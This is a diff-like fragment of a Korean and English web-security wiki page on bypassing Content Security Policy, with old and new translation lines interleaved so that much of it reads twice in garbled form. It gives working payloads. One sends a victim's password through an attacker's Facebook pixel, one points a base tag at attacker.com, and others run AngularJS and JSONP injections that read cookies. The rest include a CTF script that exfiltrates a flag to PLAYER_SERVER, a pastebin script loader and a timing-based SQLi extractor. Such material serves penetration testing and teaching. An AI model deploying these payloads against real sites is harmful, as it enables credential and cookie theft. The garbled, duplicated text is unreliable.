| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,90 +308,90 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
대상 CSP에서 허용된 도메인을 발견하면, 제3자 서비스에 등록하여 해당 서비스로 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.
타깃의 CSP에서 위 허용 도메인 중 하나를 발견하면, 해당 타사 서비스에 등록하여 CSP를 bypass하고 데이터를 해당 서비스로 exfiltrate하거나 코드를 실행할 수 있을 가능성이 높습니다.
예를 들어, 다음과 같은 CSP를 발견하면:
For example, if you find the following CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
or
또는
```
Content-Security-Policy: connect-src www.facebook.com;
```
데이터를 유출할 수 있어야 하며, 이는 항상 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)를 사용하여 수행해온 방식과 유사합니다. 이 경우, 다음 일반 단계를 따릅니다:
You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
1. 여기에서 Facebook Developer 계정을 만듭니다.
2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.
4. 데이터 유출을 원하는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 도구 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱의 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다(이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "귀하의" 웹사이트에서 전송되는 이벤트를 확인합니다.
1. 여기에서 Facebook Developer account를 생성합니다.
2. 새로운 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"로 이동해 "App ID"를 얻습니다.
4. exfiltrate할 대상 사이트에서 Facebook SDK의 gadget "fbq"를 "customEvent"와 data payload로 직접 호출하여 데이터를 exfiltrate할 수 있습니다.
5. App "Event Manager"로 이동해 생성한 애플리케이션을 선택합니다 (참고: event manager는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
6. "Test Events" 탭을 선택하면 "your" web site에서 전송되는 이벤트를 볼 수 있습니다.
그런 다음, 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키며 다음과 같은 사용자 정의 이벤트를 발행합니다:
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
앞서 언급한 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서는 이를 악용할 수 있는 여러 가지 방법이 있습니다. 다른 서드파티 악용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
이전 표에 명시된 나머지 7개의 서드파티 도메인에 관해서는, 그것들을 악용할 수 있는 다른 방법들이 많이 있습니다. 추가적인 서드파티 악용 사례에 대한 설명은 이전의 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) 를 참고하세요.
### RPO(상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
앞서 언급한 경로 제한 우회를 위한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다.
앞서 언급한 경로 제한을 bypass하기 위한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 Relative Path Overwrite (RPO)라는 다른 기법이 있습니다.
예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용하는 경우, 다음과 같이 우회할 수 있습니다:
예를 들어, CSP가 `https://example.com/scripts/react/` 경로를 허용하는 경우, 다음과 같이 bypass할 수 있습니다:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
브라우저는 궁극적으로 `https://example.com/scripts/angular/angular.js`를 로드합니다.
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
이것은 브라우저가 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있기 때문에 작동하며, 이는 CSP를 준수합니다.
This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
∑, 그들은 이를 디코딩하여 사실상 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되며, 이는 `https://example.com/scripts/angular/angular.js`와 동일합니다.
따라서, 브라우저는 이를 디코딩하여 실제로 `https://example.com/scripts/react/../angular/angular.js` 를 요청하게 되고, 이는 `https://example.com/scripts/angular/angular.js` 와 동일합니다.
**브라우저와 서버 간의 URL 해석의 불일치를 이용하여 경로 규칙을 우회할 수 있습니다.**
By **브라우저와 서버 간의 URL 해석 불일치를 악용하면 경로 규칙을 우회할 수 있습니다**.
해결책은 서버 측에서 `%2f``/`로 처리하지 않도록 하여 브라우저와 서버 간의 일관된 해석을 보장하여 이 문제를 피하는 것입니다.
The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
온라인 예제:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS 실행
### Iframes JS execution
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### 누락된 **base-uri**
### missing **base-uri**
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)을 수행할 수 있습니다.
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
취약한 페이지가 **httpS**로 로드되는 경우, base에 httpS URL을 사용하십시오.
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS 이벤트
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고, AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
Content Security Policy (CSP)라는 특정 정책은 JavaScript 이벤트를 제한할 수 있다. 그럼에도 AngularJS는 대안으로 커스텀 이벤트를 도입한다. 이벤트 내에서 AngularJS는 고유한 객체 `$event`를 제공하며, 이는 네이티브 브라우저 이벤트 객체를 참조한다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있다. 특히 Chrome에서는 `$event/event` 객체가 `path` 속성을 가지며, 이 속성은 이벤트 실행 체인에 관련된 객체들의 배열을 포함하고, `window` 객체는 항상 배열의 마지막에 위치한다. 이 구조는 sandbox escape 전술에 중요하다.
이 배열을 `orderBy` 필터로 전달함으로써, 이를 반복하여 터미널 요소(즉, `window` 객체)를 활용해 `alert()`와 같은 전역 함수를 호출할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:
이 배열을 `orderBy` 필터로 전달하면 이를 반복(iterate)할 수 있고, 마지막 요소(`window` 객체)를 활용해 `alert()` 같은 전역 함수를 호출할 수 있다. 아래의 코드 스니펫이 이 과정을 설명한다:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
이 스니펫은 `ng-focus` 지시어를 사용하여 이벤트를 트리거하고, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하며, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출하는 방법을 강조합니다.
이 스니펫은 이벤트를 트리거하기 위해 `ng-focus` 디렉티브의 사용을 강조하며, `path` 배열을 조작하기 위해 `$event.path|orderBy`를 사용하고, `window` 객체를 이용해 `alert()` 함수를 실행하여 `document.cookie`를 노출시킵니다.
**다른 Angular 우회 방법을 찾으려면** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**다른 Angular bypasses는** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)에서 확인하세요
### AngularJS 및 허용된 도메인
### AngularJS and whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책은 콜백 함수 호출 및 특정 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 추가 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에서 제공되는 자세한 가이드를 참조하십시오.
Angular JS 애플리케이션에서 스크립트 로딩을 위해 도메인을 화이트리스트하는 CSP 정책은 callback functions의 호출과 특정 vulnerable classes를 통해 우회될 수 있습니다. 이 기법에 대한 자세한 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에 있는 상세 가이드를 참조하세요.
작동하는 페이로드:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
다른 JSONP arbitrary execution endpoints는 [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다)
### 리디렉션을 통한 우회
### Bypass via Redirection
CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요? 리디렉션이 허용되지 않는 다른 출처로 이어지면 여전히 실패합니다.
CSP가 server-side redirection을 만나면 어떤 일이 발생할까요? 그 redirection이 허용되지 않는 다른 origin으로 이어지면, 여전히 실패합니다.
그러나 [CSP spec 4.2.2.3. 경로 및 리디렉션](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)에서 설명한 바에 따르면, 리디렉션이 다른 경로로 이어지면 원래의 제한을 우회할 수 있습니다.
하지만 [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)의 설명에 따르면, redirection이 다른 path로 이어지는 경우 원래의 제한을 bypass할 수 있습니다.
예를 들어:
Here's an example:
```html
<!DOCTYPE html>
<html>
@ -425,68 +425,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
CSP가 `https://www.google.com/a/b/c/d`로 설정된 경우, 경로가 고려되므로 `/test``/a/test` 스크립트는 CSP에 의해 차단됩니다.
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
그러나 최종 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다.** 리디렉션이므로 **경로는 고려되지 않으며**, **스크립트가 로드될 수 있습니다**, 따라서 경로 제한을 우회하게 됩니다.
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회됩니다.
With this redirection, even if the path is specified completely, it will still be bypassed.
따라서 가장 좋은 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
### 매달린 마크업으로 CSP 우회
### Bypass CSP with dangling markup
[여기에서 읽어보세요](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`는 코드 내에서 모든 스크립트를 실행할 수 있음을 의미합니다 (XSS는 코드를 실행할 수 있습니다) 그리고 `img-src *`는 웹페이지에서 모든 리소스의 이미지를 사용할 수 있음을 의미합니다.
`'unsafe-inline'`은 코드 안에서 어떤 스크립트든 실행할 수 있다는 뜻입니다 (XSS는 코드를 실행할 수 있습니다) 그리고 `img-src *`는 웹페이지에서 어떤 리소스의 이미지든 사용할 수 있다는 뜻입니다.
이 CSP는 이미지를 통해 데이터를 유출함으로써 우회할 수 있습니다 (이 경우 XSS는 봇이 접근할 수 있는 페이지에 SQLi가 포함된 CSRF를 악용하고 이미지를 통해 플래그를 추출합니다):
You can bypass this CSP by exfiltrating the data via images (이번 경우에는 XSS가 CSRF를 악용하여 bot이 접근할 수 있는 페이지에 SQLi가 포함되어 있고, 이미지를 통해 flag를 추출합니다):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
출처: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는 데** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 JS 코드를 **실행**할 수 있습니다(일반적인 XSS처럼). 이 코드는 **이미지를 로드**하고, 그 안에서 **JS**를 **추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
설정을 악용해 **이미지 안에 삽입된 javascript 코드를 로드**할 수도 있습니다. 예를 들어 페이지가 Twitter의 이미지를 로드하도록 허용한다면, **특수한 이미지**를 **제작(craft)**하여 **Twitter에 업로드**하고 "**unsafe-inline**"을 남용해 일반 XSS처럼 JS 코드를 **실행**할 수 있습니다. 이 코드는 이미지를 **로드**하고, 그 안에서 JS를 **추출**한 다음 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 서비스 워커와 함께
### With Service Workers
Service workers **`importScripts`** 함수는 CSP에 의해 제한되지 않습니다:
서비스 워커의 **`importScripts`** 함수는 CSP에 의해 제한되지 않습니다:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### 정책 주입
### Policy Injection
**연구:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### 크롬
#### Chrome
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책**을 어떤 식으로든 **무용하게** 만들 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'**을 **허용**할 수 있습니다:
만약 당신이 보낸 **parameter**가 **policy의 선언(declaration)** 내부에 **붙여넣기(pasted)** 된다면, policy를 무력화하도록 어떤 방식으로든 **수정(alter)**할 수 있습니다. 다음 우회 기법들 중 하나로 **script 'unsafe-inline'을 허용**할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
지시문은 **기존 script-src 지시문을 덮어씁니다**.\
여기에서 예제를 찾을 수 있습니다: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
디렉티브는 **기존 script-src directives를 덮어씁니다**.\
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge에서는 훨씬 간단합니다. CSP에 단지 이것만 추가할 수 있다면: **`;_`** **Edge**는 **전체 정책을 삭제**합니다.\
예제: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Edge에서는 훨씬 간단합니다. CSP에 단지 이것만 추가할 수 있다면: **`;_`** **Edge**는 전체 **policy**를 **무시합니다**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - 시간 공격
### img-src \*; via XSS (iframe) - Time attack
지시문 `'unsafe-inline'`의 부재에 주목하세요.\
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 **로드**하게 만들 수 있습니다. 이번에는 정보를 추출하고자 하는 페이지에 피해자가 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
디렉티브 `'unsafe-inline'`이(가) 없음을 주의하세요.\
이번에는 **XSS**로 `<iframe>`을 사용해 피해자에게 **당신이 제어하는** 페이지를 **로드**하게 할 수 있습니다. 이번에는 피해자에게 당신이 정보를 추출하려는 페이지에 접근하게 할 것입니다 (**CSRF**). 페이지의 내용을 직접 접근할 수는 없지만, 만약 어떤 식으로든 페이지가 로드되는 데 걸리는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 **플래그**가 추출될 것이며, SQLi를 통해 **문자가 올바르게 추측될 때마다** **응답**이 **더 많은 시간**을 소요하게 됩니다. 그러면 플래그를 추출할 수 있게 됩니다:
이번에는 **flag**가 추출될 것이며, SQLi를 통해 **문자 하나가 올바르게 추측될 때마다** sleep function 때문에 **응답**이 **더 오래 걸립니다**. 그러면 플래그를 추출할 수 있게 됩니다:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Bookmarklets를 통한 공격
이 공격은 공격자가 **사용자가 브라우저의 북마클릿 위에 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭되거나 클릭될 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게**니다.
이 공격은 공격자가 사회공학 기법을 사용해 사용자를 설득하여 브라우저의 bookmarklet 위로 링크를 **drag\&dropped 하도록 만드는** 상황을 포함합니다. 이 bookmarklet에는 **malicious javascript** 코드가 들어있어, drag\&dropped되거나 클릭되었을 때 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 cookies나 tokens 같은 민감한 정보를 탈취할 수 있게**니다.
자세한 내용은 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
### CSP를 제한하여 우회하기
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게**니다.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 특정 JS 파일의 로드를 금지함으로써 우회됩니다. 그런 다음, 이를 통해 **prototype pollution** 또는 **dom clobbering**을 이용해 다른 스크립트를 **abuse a different script to load an arbitrary script** 할 수 있게 됩니다.
**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**:
Iframe의 CSP를 **제한**하려면 **`csp`** 속성을 사용할 수 있습니다:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**를 허용하는 **항목**의 **nonce**를 비활성화하고 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다:
[**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서, **HTML injection**을 통해 **CSP**를 더 제한하여 CSTI를 방지하던 script가 비활성화되었고, 따라서 **취약점이 악용 가능해졌다.**\
CSP는 **HTML meta tags**를 사용해 더 엄격하게 만들 수 있으며, **inline scripts**는 그들의 **nonce**를 허용하는 항목을 **removing the entry**함으로써 비활성화하고 특정 inline script는 **sha**로 활성화할 수 있다:
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,51 +573,69 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
### Content-Security-Policy-Report-Only를 이용한 JS exfiltration
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 **전송하고자 하는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 발생시키고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
서버가 헤더 **`Content-Security-Policy-Report-Only`** **(귀하가 제어하는 값으로)** 응답하도록 만들 수 있다면(예: CRLF 때문에), 그 헤더가 귀하의 서버를 가리키도록 설정할 수 있습니다. 그리고 exfiltrate하려는 **JS content****`<script>`** 로 감싸고, `unsafe-inline` 이 CSP에 의해 허용되지 않을 가능성이 높으므로, 이것은 **CSP error** 를 유발하여 스크립트의 일부(민감한 정보를 포함한 부분)가 `Content-Security-Policy-Report-Only` 를 통해 서버로 전송됩니다.
예시로 [**이 CTF 작성글을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
예시로는 [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)을 참고하세요.
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSP와 Iframe을 통한 정보 유출
### Leaking Information with CSP and Iframe
- CSP에 의해 허용된 URL(예: `https://example.redirect.com`)을 가리키는 `iframe`이 생성됩니다.
- 이 URL은 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션되며, 이는 CSP에 의해 **허용되지 않습니다**.
- `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.
- `iframe`가 생성되어 CSP에서 허용된 URL(예: `https://example.redirect.com`)을 가리킵니다.
- 이 URL은 이후 CSP에서 **허용되지 않는** 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
- `securitypolicyviolation` 이벤트를 수신하여 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 leak합니다.
Chrome과 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 가능성을 초래합니다.
Chrome과 Firefox 같은 브라우저는 CSP와 관련된 iframe 처리에서 서로 다른 동작을 보이는 점이 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 leak될 수 있음을 의미합니다.
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성되어 있다면, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다양한 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
또 다른 기법은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 탐색 알고리즘을 이용하고, 의도적으로 차단되는 특정 도메인을 포함하도록 CSP를 조정하는 방식에 의존합니다. 예를 들어 비밀 서브도메인이 알려지지 않은 문자들로 구성되어 있다면, CSP 지시문을 수정해 해당 서브도메인들을 차단하거나 허용하면서 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP를 설정하는 방법을 보여주는 스니펫입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP에 의해 차단되거나 허용되는 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁혀 나가고, 결국 전체 URL을 밝혀낼 수 있습니다.
CSP에 의해 차단되거나 허용되는 요청을 모니터링함으로써 비밀 subdomain의 가능한 문자를 좁혀 결국 전체 URL을 밝혀낼 수 있다.
